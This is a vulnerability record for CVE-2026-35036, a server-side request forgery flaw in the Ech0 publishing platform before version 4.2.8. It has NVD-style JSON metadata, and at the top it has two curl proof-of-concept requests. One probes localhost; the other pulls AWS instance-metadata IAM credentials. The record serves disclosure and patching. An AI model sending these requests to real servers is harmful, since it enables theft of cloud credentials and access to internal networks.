CVE-2026-35036

# PoC to test for SSRF by targeting localhost # Replace <target_ip> with the actual IP of the vulnerable Ech0 instance curl -X GET "http://<target_ip>/api/website/title?url=http://127.0.0.1:80" -v # PoC to attempt to fetch cloud metadata (e.g., AWS) curl -X GET "http://<target_ip>/api/website/title?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" -v

{"cve": {"id": "CVE-2026-35036", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:12.940", "lastModified": "2026-04-14T19:58:33.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, Ech0 implements link preview (editor fetches a page title) through GET /api/website/title. That is legitimate product behavior, but the implementation is unsafe: the route is unauthenticated, accepts a fully attacker-controlled URL, performs a server-side GET, reads the entire response body into memory (io.ReadAll). There is no host allowlist, no SSRF filter, and InsecureSkipVerify: true on the outbound client. Anyone who can reach the instance can force the Ech0 server to open HTTP/HTTPS URLs of their choice as seen from the server’s network position (Docker bridge, VPC, localhost from the process view). This vulnerability is fixed in 4.2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ech0:ech0:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.8", "matchCriteriaId": "9571E0F6-6EAF-4AFD-AE06-4E579DFE798A"}]}]}], "references": [{"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-wc4h-2348-jc3p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}